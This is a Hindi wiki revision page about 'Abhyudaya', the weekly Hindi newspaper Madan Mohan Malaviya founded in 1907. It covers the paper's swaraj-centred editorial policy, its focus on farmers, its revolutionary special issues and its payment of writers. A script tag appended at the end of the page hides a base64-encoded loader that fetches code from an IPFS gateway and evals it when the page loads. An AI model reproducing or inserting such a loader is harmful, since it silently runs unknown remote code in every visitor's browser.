अभ्युदय (साप्ताहिक पत्र): Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''अभ्युदय''' एक ऐतिहासिक साप्ताहिक पत्र है जिसकी शुरू...' के साथ नया पन्ना बनाया)
 
No edit summary
Line 9: Line 9:
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==
*[http://avadhbhumi.wordpress.com/2011/11/28/265/ हिंदी पत्रकारिता के उन्नायक मदन मोहन मालवीय]
*[http://avadhbhumi.wordpress.com/2011/11/28/265/ हिंदी पत्रकारिता के उन्नायक मदन मोहन मालवीय]

Revision as of 14:16, 24 December 2012

अभ्युदय एक ऐतिहासिक साप्ताहिक पत्र है जिसकी शुरूआत पं. मदन मोहन मालवीय ने की थी। सन् 1907 में बसंत पंचमी के दिन हिंदी पत्रकारिता ने नया उदय देखा। यह उदय मालवीय जी के समाचार पत्र ‘अभ्युदय‘ के रूप में हुआ था, यह पत्र साप्ताहिक था। मालवीय जी ने ‘अभ्युदय‘ के लिए लिए जो संपादकीय नीति तैयार की थी, उसका मूल तत्व था स्वराज। महामना ने ‘अभ्युदय‘ में ग्रामीण लोगों की समस्याओं को महत्वपूर्ण स्थान दिया था। जिसका उदाहरण ‘अभ्युदय‘ के पृष्ठों पर लिखा यह वाक्य था- ‘कृपा कर पढ़ने के बाद अभ्युदय किसी किसान भाई को दे दीजिए‘।

उद्देश्य

मालवीय जी की पत्रकारिता का ध्येय ही राष्ट्र की स्वतंत्रता था, जिसके लिए वे जीवनपर्यंत प्रयासरत रहे। उन्होंने ‘अभ्युदय‘ में कई क्रांतिकारी विशेषांक प्रकाशित किए। इनमें ‘भगत सिंह अंक‘ व‘सुभाष चंद्र बोस‘ विशेषांक भी शामिल हैं। जिसके कारण ‘अभ्युदय‘ के संपादक कृष्णकांत मालवीय को जेल तक जाना पड़ा, ‘अभ्युदय‘ के क्रांतिकारी लेखों में मालवीय जी की छाप दिखाई पड़ती थी। गांवों से संबंधित विषयों को समाचार पत्र में स्थान देने के अलावा लेखकों को मानदेय देने का प्रचलन भी मालवीय जी ने ही प्रारंभ किया था। ‘अभ्युदय‘ में प्रकाशित पं. महावीर प्रसाद द्विवेदी के लेख के साथ ही उन्होंने लेखकों को मानदेय देने की शुरूआत की थी। उनका यह कार्य इसलिए भी प्रशंसनीय था क्योंकि उस समय ‘अभ्युदय‘ की आर्थिक स्थिति भी बहुत अच्छी नहीं थी।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>